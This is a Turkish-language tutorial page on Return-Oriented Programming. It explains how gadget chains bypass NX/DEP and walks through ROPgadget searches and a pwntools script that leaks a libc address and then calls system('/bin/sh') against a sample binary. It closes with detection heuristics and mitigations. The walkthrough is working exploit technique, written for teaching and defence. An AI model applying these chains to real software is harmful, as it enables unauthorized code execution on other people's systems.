Skip to content

Return-Oriented Programming (ROP)

Executable bellekte zaten var olan, her biri ret ile biten kısa instruction dizilerini ("gadget'lar") zincirle; stack'i sentetik bir instruction pointer gibi kullanarak code inject etmeden arbitrary hesaplama yap.

Mechanism

Note

NX/DEP, stack'i ve heap'i non-executable yaparak klasik shellcode injection'ı etkisiz kılar. ROP bunu tamamen atlatır: hiçbir zaman attacker'ın sağladığı byte'ları code olarak çalıştırmaz. Bunun yerine mevcut executable byte'ları yeniden kullanır. Invariant, ret'in davranışıdır: stack'ten bir word'ü rip'e pop'lar. Yani bir attacker bir dizi stack belleği kontrol ediyorsa (örneğin bir stack overflow ile), bir adres listesi kontrol eder. Her adres kısa bir "gadget"'a işaret eder — ret ile sonlanan birkaç işe yarar instruction. İlk gadget'ın ret'i ateşlendiğinde sonraki adresi pop'lar; o sonraki gadget'tır, onun ret'i bir sonrakini pop'lar ve böyle devam eder. Stack böylece ikinci bir instruction pointer gibi davranır ve gadget dizisi, victim'in kendi (veya libc'nin) code'undan parçalarla bir araya getirilmiş yeni bir programdır.

pop rdi; ret gibi gadget'ları argüman register'larını yüklemek için, ardından bir fonksiyonun adresini seçerek bir attacker arbitrary fonksiyonları çağırabilir — en yaygın olarak system("/bin/sh") ya da bir mprotect+shellcode veya execve zinciri — tamamen güvenilir, executable page'lerden.

Walkthrough

1. Gadget'ları ROPgadget veya objdump ile listele:

ROPgadget --binary ./vuln | grep ': pop rdi ; ret'
# 0x00000000004007c3 : pop rdi ; ret
ROPgadget --binary ./vuln | grep ': ret$'
# 0x000000000040052e : ret

gdb'de (pwndbg/peda) interaktif olarak arama yapabilirsin:

pwndbg> rop --grep 'pop rdi'
0x4007c3: pop rdi; ret

2. pwntools'ta bir zincir kur. ROP objesi gadget'ları çözer ve adresleri senin için pack'ler:

from pwn import *

elf  = context.binary = ELF('./vuln')
libc = elf.libc
rop  = ROP(elf)

rop.raw(b'A' * 40)                 # padding to saved RIP
rop.call(elf.plt['puts'], [elf.got['puts']])   # leak a libc address
rop.call(elf.sym['main'])          # return to main to re-exploit with libc base
print(rop.dump())                  # human-readable view of the chain
rop.dump() çıktısı
0x0028: 0x00000000004007c3 pop rdi; ret
0x0030: 0x0000000000601018 [arg0] rdi = got.puts
0x0038: 0x0000000000400500 puts
0x0040: 0x0000000000400631 main()

3. İkinci aşamaputs libc'nin runtime adresini leak ettikten sonra, libc base'ini elde etmek için symbol offset'ini çıkar, ardından ikinci bir zincir system("/bin/sh") çağırır:

libc.address = leak - libc.sym['puts']
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0])   # 16-byte stack alignment for movaps
rop2.system(next(libc.search(b'/bin/sh\x00')))

Bu pattern (puts@plt + puts@got ile leak, sonra ret2libc) standart NX+ASLR bypass'ıdır. İkinci aşama için ret2libc'ye, register kontrolü ve syscall varyantları için ret2csu / ret2syscall'a bak.

Detection

  • Fonksiyonların ortasına return eden ya da ret ile sonlanan birçok kısa diziyi zincirleyen control-flow anormaldir; gadget density ve dengesiz call/ret oranları klasik CFI/heuristic sinyalleridir.
  • Öncesinde call olmayan ("call-ret pairing" ihlalleri) hedeflere giden yüksek ret frekansı, yaygın bir shadow-stack / CFI tespitidir.

Mitigation

  • Intel CET shadow stack, return address'lerin korumalı bir kopyasını tutar; forge edilmiş bir adrese giden herhangi bir ROP ret'i uyuşmaz ve fault verir — en güçlü donanım mitigation'ı.
  • ASLR, gadget adresleri bilinmeden önce bir address leak'ini zorunlu kılar (PIE ana image'ı da randomize eder).
  • NX/DEP, ROP'un bypass etmek için tasarlandığı savunmadır; tek başına ROP'u durdurmaz, ama CFI ile birleştiğinde çıtayı önemli ölçüde yükseltir.
  • Stack canary'ler, çoğu ROP zincirini ileten overflow'u kırar.

References